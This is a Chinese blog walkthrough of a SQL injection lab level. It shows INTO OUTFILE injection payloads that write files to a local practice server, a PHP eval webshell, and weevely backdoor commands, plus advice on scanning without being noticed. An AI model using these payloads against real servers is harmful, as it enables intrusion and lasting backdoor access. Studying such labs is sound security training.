Web渗透测试之SQL注入:Level7--outfile导出数据并获得webshell

前言

  在一次冲浪中你无意发现了一个新的站点,这次这个站点你一下子就吸引住了你,因为这个站点竟然可以让你拥有“写”的权限。你决定利用这个漏洞好好大干一场。

题目分析

题目首页如下:
题目首页
按照提示输入1,2,3……等参数后页面与id=1相比无变化:
输入参数后页面
看到outfile你顿时激动了起来,跟前几次比这次终于可以来点不同的了。那什么是outfile呢?outfile的作用是什么呢?

select……into outfile

  outfile的完整语句应为:select……into outfile。该语句的作用是可以进行读写操作。简单来讲就是该语句不仅可以将查询到的结果导出到指定文件,还可以将指定字符导入到指定文件中。如果指定的文件不存在,则会自动创建一个同名文件。要使用该语句必须得满足以下几个苛刻的条件:
1.知道网站的绝对路径
2.能够访问该目录下的文件
这两个条件很好理解,不知道网站的绝对路径那文件要创建在哪里呢?文件创建后,如果我们不能访问,那如何得到我们导出在该文件里的数据呢?因此现在的关键问题就是如何获得网站所有的目录。

获取网站目录结构

  获取网站目录的方法有两种:根据经验人工枚举、利用工具枚举。人工枚举耗时耗力,还不如工具枚举来的直接。笔者使用的工具为dirbuster,其图形界面如下:图形界面
使用dirbuster时有两点需要注意:
1.线程数不能过大,推荐20-30,避免线程数过多时被察觉或将目标站点瘫痪;
2.当启用扫描变量时,其基础形式为:/{dir},表示扫描所有目录;当在{dir}
前加变量时,如:/admin/{dir},表明扫描admin下的所有目录;当在{dir}后加后缀时,如:/admin/{dir}.php,表明扫描admin下所有php文件。笔者这里就不进行扫描了,通过查看本地文件地址直接获得绝对路径:
C:/wamp64/www/sql/Less-7/ 。
  但仅知道路径还远远不够,因为存在函数secure_file_priv对可导出文件目录进行了限制。该函数有三种参数类型:
1.NULL:禁止导入导出操作
2.路径:只能在该目录下进行导入导出操作
3.空:能在任意目录下进行导入导出操作
在此需要注意的是,空不是NULL而是什么也没有,示例:secure_file_priv= NULL,表示参数为NULL;secure_file_priv= ,表示参数为空。
通过配置文件查看笔者配置的参数类型为空:
参数类型为空
也可通过前几关查询配置的参数:
查询参数

导出数据

  满足以上条件要求后就能开始导出数据了。进行多次尝试后发现闭合符为 ')) ,由前面几关已知该网站是存在联合查询注入漏洞的(或者使用SQLMap扫描),所以写入语句为:
’)) union select 1,2,database() into outfile “C:\ \wamp64\ \www\ \sql\ \Less-7\ \demo.php”- -+
这里多加了一道 \ 是为了对原本的 \ 进行转义,指定的文件为demo,其文件类型为php是为了待会能够直接访问该文件。
结果如下:
导出结果
虽然报错,但确实生成了该指定文件:
生成指定文件
访问该php文件:
指定文件内容
之后操作与先前一致。

获得webshell

  当开发者使用secure_file_priv对导入导出操作进行目录限制时,直接导出数据的方法将很难奏效。但只要还能进行导入导出操作,我们就能通过写入一句话木马的方式来获得webshell。语句如下:
’))union select 1,2,’<?php @eval($_POST["123"]);?>’ into outfile"C:\ \wamp64\ \www\ \sql\ \Less-7\ \demo.php"- -+
之后查看该指定文件发现确实写入了一句话木马:
写入一句话木马
之后通过中国菜刀连接该木马即可。
  笔者更偏爱于Kali中的weevely,不过weevely生成的大马字符过长无法通过该方式上传至服务器,笔者这里就将weevely生成的文件直接放到目录下。
weevely生成木马文件:
weevely generate password path
password:之后用于连接的密码;
path:在指定目录下生成木马文件;

weevely连接后门:
weevely URL password [cmd]
URL:后门所在位置;
password:连接密码;
[cmd]:可选指令;
示例如下:
后门连接成功
至于终端中文乱码问题,更改终端编码即可。

总结

  对比于直接导出数据到指定文件,写入一句话木马获得webshelld的条件更宽松,且隐蔽强大的木马文件更有利于长期作战。因此对于secure_file_priv权限控制不当导致的注入,往往采用最多的方式就是写入一句话木马进而获得webshell。
  以上就是本篇的全部内容,我们下篇见。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值